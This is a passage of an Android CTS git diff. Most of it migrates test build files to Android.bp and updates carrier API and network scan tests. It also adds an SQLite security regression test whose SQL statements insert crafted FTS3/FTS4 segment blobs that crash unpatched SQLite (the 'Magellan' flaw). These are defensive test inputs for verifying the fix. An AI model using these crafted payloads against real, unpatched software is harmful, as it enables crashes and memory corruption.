-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.bp b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
new file mode 100644
index 0000000..de78337
--- /dev/null
+++ b/tests/tests/batterysaving/apps/app_target_api_25/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsBatterySavingAppTargetApi25",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsBatterSavingAppTargetLib"],
+    sdk_version: "test_current",
+    min_sdk_version: "23",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk b/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
deleted file mode 100644
index c704a29..0000000
--- a/tests/tests/batterysaving/apps/app_target_api_25/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingAppTargetApi25
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../app_target_api_current/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    BatterySavingCtsCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 23
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.bp b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
new file mode 100644
index 0000000..8d385c6
--- /dev/null
+++ b/tests/tests/batterysaving/apps/app_target_api_current/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsBatterySavingAppTargetApiCurrent",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsBatterSavingAppTargetLib"],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+java_library {
+    name: "CtsBatterSavingAppTargetLib",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "BatterySavingCtsCommon",
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk b/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
deleted file mode 100644
index 717ce3b..0000000
--- a/tests/tests/batterysaving/apps/app_target_api_current/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingAppTargetApiCurrent
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    BatterySavingCtsCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ub-uiautomator
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/batterysaving/common/Android.bp b/tests/tests/batterysaving/common/Android.bp
new file mode 100644
index 0000000..6f99fda
--- /dev/null
+++ b/tests/tests/batterysaving/common/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "BatterySavingCtsCommon",
+    srcs: [
+        "src/**/*.java",
+        "proto/**/*.proto",
+    ],
+    libs: [
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target",
+        "compatibility-device-util-axt",
+        "android.test.runner.stubs",
+    ],
+    sdk_version: "test_current",
+    proto: {
+        type: "lite",
+    },
+}
diff --git a/tests/tests/batterysaving/common/Android.mk b/tests/tests/batterysaving/common/Android.mk
deleted file mode 100644
index 1328461..0000000
--- a/tests/tests/batterysaving/common/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-proto-files-under, proto)
-
-LOCAL_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target \
-    compatibility-device-util-axt \
-    android.test.runner.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := BatterySavingCtsCommon
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/binder_ndk/Android.bp b/tests/tests/binder_ndk/Android.bp
new file mode 100644
index 0000000..fe5bf2a
--- /dev/null
+++ b/tests/tests/binder_ndk/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsNdkBinderTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "libbinder_ndk_test_interface-java",
+        "nativetesthelper",
+    ],
+    jni_libs: [
+        "libbinder_ndk_test",
+        "libbinder_ndk_test_utilities",
+        "libbinder_ndk_test_interface-ndk",
+        "libbinder_ndk_test_interface_old",
+        "libbinder_ndk_test_interface_new",
+    ],
+    stl: "c++_shared",
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/binder_ndk/Android.mk b/tests/tests/binder_ndk/Android.mk
deleted file mode 100644
index 4851346..0000000
--- a/tests/tests/binder_ndk/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsNdkBinderTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    libbinder_ndk_test_interface-java \
-    nativetesthelper
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libbinder_ndk_test \
-    libbinder_ndk_test_utilities \
-    libbinder_ndk_test_interface-ndk \
-    libbinder_ndk_test_interface_old \
-    libbinder_ndk_test_interface_new \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_shared
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/binder_ndk/OWNERS b/tests/tests/binder_ndk/OWNERS
new file mode 100644
index 0000000..531df84
--- /dev/null
+++ b/tests/tests/binder_ndk/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+smoreland@google.com
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index 761e020..a7a3981 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -31,62 +31,56 @@
 
 cc_defaults {
     name: "libbinder_ndk_test_defaults",
-
     cflags: [
         "-Wall",
         "-Werror",
     ],
-
     shared_libs: [
         "liblog",
         "libbinder_ndk",
     ],
     whole_static_libs: ["libnativetesthelper_jni"],
-
     sdk_version: "current",
-    stl: "c++_static",
+    stl: "c++_shared",
+    gtest: false,
 }
 
-cc_library_shared {
+cc_test_library {
     name: "libbinder_ndk_test_utilities",
     defaults: ["libbinder_ndk_test_defaults"],
     srcs: ["utilities.cpp"],
 }
 
-cc_library_shared {
+cc_test_library {
     name: "libbinder_ndk_test_interface_new",
     defaults: ["libbinder_ndk_test_defaults"],
     srcs: [
         "android_binder_cts_NativeService.cpp",
     ],
-
     // Using the up-to-date version of the interface
-
     shared_libs: [
         "libbinder_ndk_test_interface-ndk",
         "libbinder_ndk_test_utilities",
     ],
 }
 
-cc_library_shared {
+cc_test_library {
     name: "libbinder_ndk_test_interface_old",
     defaults: ["libbinder_ndk_test_defaults"],
     srcs: [
         "android_binder_cts_NativeService.cpp",
     ],
     cflags: ["-DUSING_VERSION_1"],
-
     // Using the frozen version 1 of the interface
     static_libs: [
         "libbinder_ndk_test_interface-V1-ndk",
     ],
-
     shared_libs: [
         "libbinder_ndk_test_utilities",
     ],
 }
 
-cc_library_shared {
+cc_test_library {
     name: "libbinder_ndk_test",
     defaults: ["libbinder_ndk_test_defaults"],
     srcs: [
@@ -96,7 +90,6 @@
         "test_parcel.cpp",
         "test_status.cpp",
     ],
-
     shared_libs: [
         "libbinder_ndk_test_interface-ndk",
         "libbinder_ndk_test_utilities",
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
new file mode 100644
index 0000000..be6215e
--- /dev/null
+++ b/tests/tests/carrierapi/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsCarrierApiTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "junit",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    // This  APK must be signed to match the test SIM's cert whitelist.
+    // While "testkey" is the default, there are different per-device testkeys, so
+    // hard-code the AOSP default key to ensure it is used regardless of build
+    // environment.
+    certificate: ":aosp-testkey",
+}
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
deleted file mode 100644
index a9c5d8b..0000000
--- a/tests/tests/carrierapi/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsCarrierApiTestCases
-LOCAL_SDK_VERSION := test_current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs android.test.base.stubs
-
-# This APK must be signed to match the test SIM's cert whitelist.
-# While "testkey" is the default, there are different per-device testkeys, so
-# hard-code the AOSP default key to ensure it is used regardless of build
-# environment.
-LOCAL_CERTIFICATE := build/make/target/product/security/testkey
-
-# This APK must be signed to match the test SIM's cert whitelist.
-# While "testkey" is the default, there are different per-device testkeys, so
-# hard-code the AOSP default key to ensure it is used regardless of build
-# environment.
-LOCAL_CERTIFICATE := build/make/target/product/security/testkey
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index cad9313..0111871 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -471,7 +471,7 @@
         // {@link TelephonyManager#iccOpenLogicalChannel} sends a Manage Channel (open) APDU
         // followed by a Select APDU with the given AID and p2 values. See Open Mobile API
         // Specification v3.2 Section 6.2.7.h and TS 102 221 for details.
-        int p2 = 0;
+        int p2 = 0x0C; // '0C' for no data returned (TS 102 221 Section 11.1.1.2)
         response = mTelephonyManager.iccOpenLogicalChannel("", p2);
         verifyValidIccOpenLogicalChannelResponse(response);
         mTelephonyManager.iccCloseLogicalChannel(response.getChannel());
@@ -812,13 +812,10 @@
                 0, // p3: not required for STATUS
                 ""); // filePath: not required for STATUS
         String resultString = bytesToHexString(result);
-        assertTrue("TelephonyManager#iccExchangeSimIO should not give an empty response",
-                !resultString.isEmpty());
-        // TODO(b/131353609): uncomment logic to fully check TelMan#iccExchangeSimIO response
-        // FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(resultString);
-        // assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
-        // assertEquals("iccExchangeSimIO returned non-normal Status byte: " + resultString,
-        //         STATUS_NORMAL_STRING, fcpTemplate.getStatus());
+        FcpTemplate fcpTemplate = FcpTemplate.parseFcpTemplate(resultString);
+        assertTrue(containsFileId(fcpTemplate, MF_FILE_ID));
+        assertEquals("iccExchangeSimIO returned non-normal Status byte: " + resultString,
+                STATUS_NORMAL_STRING, fcpTemplate.getStatus());
     }
 
     /**
@@ -840,10 +837,8 @@
                 + "00" // p2: value required for Envelope command
                 + lc
                 + envelope);
-        assertNotNull("sendEnvelopeWithStatus returned: " + response, response);
-        // TODO(b/131422420): uncomment logic to fully check TelMan#sendEnvelopeWithStatus response
-        // assertEquals("sendEnvelopeWithStatus returned: " + response,
-        //         STATUS_NORMAL_STRING, response);
+        assertEquals("sendEnvelopeWithStatus returned: " + response,
+                STATUS_NORMAL_STRING, response);
     }
 
     private void verifyValidIccOpenLogicalChannelResponse(IccOpenLogicalChannelResponse response) {
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 9afd501..67d3913 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -21,7 +21,6 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.Manifest;
 import android.content.Context;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
@@ -42,7 +41,6 @@
 import android.telephony.RadioAccessSpecifier;
 import android.telephony.TelephonyManager;
 import android.telephony.TelephonyScanManager;
-import android.util.ArraySet;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -56,7 +54,6 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
-import java.util.Set;
 import java.util.stream.Collectors;
 
 /**
@@ -82,6 +79,7 @@
     private NetworkScan mNetworkScan;
     private NetworkScanRequest mNetworkScanRequest;
     private NetworkScanCallbackImpl mNetworkScanCallback;
+    private static final int MAX_CELLINFO_WAIT_MILLIS = 5000; // 5 seconds
     private static final int MAX_INIT_WAIT_MS = 60000; // 60 seconds
     private Object mLock = new Object();
     private boolean mReady;
@@ -211,6 +209,22 @@
         }
     }
 
+    private class CellInfoResultsCallback extends TelephonyManager.CellInfoCallback {
+        public List<CellInfo> cellInfo;
+
+        @Override
+        public synchronized void onCellInfo(List<CellInfo> cellInfo) {
+            this.cellInfo = cellInfo;
+            notifyAll();
+        }
+
+        public synchronized void wait(int millis) throws InterruptedException {
+            if (cellInfo == null) {
+                super.wait(millis);
+            }
+        }
+    }
+
     private List<RadioAccessSpecifier> getRadioAccessSpecifier(List<CellInfo> allCellInfo) {
         List<RadioAccessSpecifier> radioAccessSpecifier = new ArrayList<>();
         List<Integer> lteChannels = new ArrayList<>();
@@ -275,6 +289,7 @@
                         + "code ERROR_MODEM_UNAVAILABLE or ERROR_UNSUPPORTED",
                 isScanStatusValid());
     }
+
     @Test
     public void testRequestNetworkScanLocationOffPass() {
         requestNetworkScanLocationOffHelper(false);
@@ -322,20 +337,17 @@
 
     private NetworkScanRequest buildNetworkScanRequest(boolean includeBandsAndChannels) {
         // Make sure that there should be at least one entry.
-        List<CellInfo> allCellInfo = mTelephonyManager.getAllCellInfo();
-        if (allCellInfo == null) {
-            fail("TelephonyManager.getAllCellInfo() returned NULL!");
-        }
-        if (allCellInfo.size() == 0) {
-            fail("TelephonyManager.getAllCellInfo() returned zero-length list!");
-        }
+        List<CellInfo> allCellInfo = getCellInfo();
+        List<RadioAccessSpecifier> radioAccessSpecifier = new ArrayList<>();
 
-        // Construct a NetworkScanRequest
-        List<RadioAccessSpecifier> radioAccessSpecifier = getRadioAccessSpecifier(allCellInfo);
-        if (!includeBandsAndChannels) {
-            radioAccessSpecifier = radioAccessSpecifier.stream().map(spec ->
+        if (allCellInfo != null && allCellInfo.size() != 0) {
+            // Construct a NetworkScanRequest
+            radioAccessSpecifier = getRadioAccessSpecifier(allCellInfo);
+            if (!includeBandsAndChannels) {
+                radioAccessSpecifier = radioAccessSpecifier.stream().map(spec ->
                     new RadioAccessSpecifier(spec.getRadioAccessNetwork(), null, null))
                     .collect(Collectors.toList());
+            }
         }
 
         Log.d(TAG, "number of radioAccessSpecifier: " + radioAccessSpecifier.size());
@@ -369,6 +381,17 @@
 
     }
 
+    private List<CellInfo> getCellInfo() {
+        CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
+        mTelephonyManager.requestCellInfoUpdate(r -> r.run(), resultsCallback);
+        try {
+            resultsCallback.wait(MAX_CELLINFO_WAIT_MILLIS);
+        } catch (InterruptedException ex) {
+            fail("CellInfoCallback was interrupted: " + ex);
+        }
+        return resultsCallback.cellInfo;
+    }
+
     @Test
     public void testNetworkScanPermission() {
         PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
@@ -564,6 +587,5 @@
         p.setDataPosition(0);
         NetworkScanRequest newnsr = NetworkScanRequest.CREATOR.createFromParcel(p);
         assertTrue(networkScanRequest.equals(newnsr));
-
     }
 }
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index f901e9c..1bafaa04 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -49,7 +49,7 @@
 public class SQLiteDatabaseTest extends AndroidTestCase {
 
     private static final String TAG = "SQLiteDatabaseTest";
-    private static final String EXPECTED_MAJOR_MINOR_VERSION = "3.22";
+    private static final String EXPECTED_MAJOR_MINOR_VERSION = "3.28";
     private static final int EXPECTED_MIN_PATCH_LEVEL = 0;
 
     private SQLiteDatabase mDatabase;
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
new file mode 100644
index 0000000..c34a5f5
--- /dev/null
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteSecurityTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.database.sqlite.cts;
+
+
+import android.content.Context;
+import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDatabaseCorruptException;
+import android.test.AndroidTestCase;
+
+/**
+ * This CTS test verifies Magellan SQLite Security Vulnerability.
+ * Without the fix, the last statement in each test case triggers a segmentation fault and the test
+ * fails.
+ * With the fix, the last statement in each test case triggers SQLiteDatabaseCorruptException with
+ * message "database disk image is malformed (code 267 SQLITE_CORRUPT_VTAB)", this is expected
+ * behavior that we are crashing and we are not leaking data.
+ */
+public class SQLiteSecurityTest extends AndroidTestCase {
+    private static final String DATABASE_NAME = "database_test.db";
+
+    private SQLiteDatabase mDatabase;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        getContext().deleteDatabase(DATABASE_NAME);
+        mDatabase = getContext().openOrCreateDatabase(DATABASE_NAME, Context.MODE_PRIVATE,
+              null);
+        assertNotNull(mDatabase);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDatabase.close();
+        getContext().deleteDatabase(DATABASE_NAME);
+
+        super.tearDown();
+    }
+
+    public void testScript1() {
+        mDatabase.beginTransaction();
+        mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(1,'aback');");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(2,'abaft');");
+        mDatabase.execSQL("INSERT INTO ft_content VALUES(3,'abandon');");
+        mDatabase.execSQL("INSERT INTO ft_segdir VALUES(0,0,0,0,'0 29',X"
+            + "'0005616261636b03010200ffffffff070266740302020003046e646f6e03030200');");
+        mDatabase.setTransactionSuccessful();
+        mDatabase.endTransaction();
+        try {
+            mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abandon';");
+        } catch (SQLiteDatabaseCorruptException e) {
+            return;
+        }
+        fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+
+    public void testScript2() {
+      mDatabase.beginTransaction();
+      mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts3;");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(1,"
+          + "X'0004616263300301020003013103020200040130030b0200040131030c0200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(2,"
+          + "X'00056162633132030d0200040133030e0200040134030f020004013503100200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(3,"
+          + "X'0005616263313603110200040137031202000401380313020004013903140200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(4,"
+          + "X'00046162633203030200030133030402000301340305020003013503060200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(5,"
+          + "X'000461626336030702000301370308020003013803090200030139030a0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir "
+          + "VALUES(0,0,1,5,'5 157',X'0101056162633132ffffffff070236030132030136');");
+      mDatabase.setTransactionSuccessful();
+      mDatabase.endTransaction();
+      try {
+          mDatabase.execSQL("SELECT * FROM ft WHERE ft MATCH 'abc20';");
+      } catch (SQLiteDatabaseCorruptException e) {
+          return;
+      }
+      fail("Expecting a SQLiteDatabaseCorruptException");
+    }
+
+    public void testScript3() {
+      mDatabase.beginTransaction();
+      mDatabase.execSQL("CREATE VIRTUAL TABLE ft USING fts4;");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+          + "(1,X'00046162633003010200040178030202000501780303020003013103040200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES"
+          + "(2,X'00056162633130031f0200ffffffff07ff5566740302020003046e646f6e03030200');");
+      mDatabase.execSQL("INSERT INTO ft_segments VALUES(384,NULL);");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,0,0,0,'0 24',X'000561626331780305020005017803060200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + " (0,1,0,0,'0 24',X'000461626332030702000401780308020005017803090200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,2,0,0,'0 24',X'000461626333030a0200040178030b0200050178030c0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES" +
+          "(0,3,0,0,'0 24',X'000461626334030d0200040178030e0200050178030f0200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,4,0,0,'0 24',X'000461626335031002000401780311020005017803120200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,5,0,0,'0 24',X'000461626336031302000401780314020005017803150200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
+          + "(0,6,0,0,'0 24',X'000461626337031602000401780317020005017803180200');");
+      mDatabase.execSQL("INSERT INTO ft_segdir VALUES"
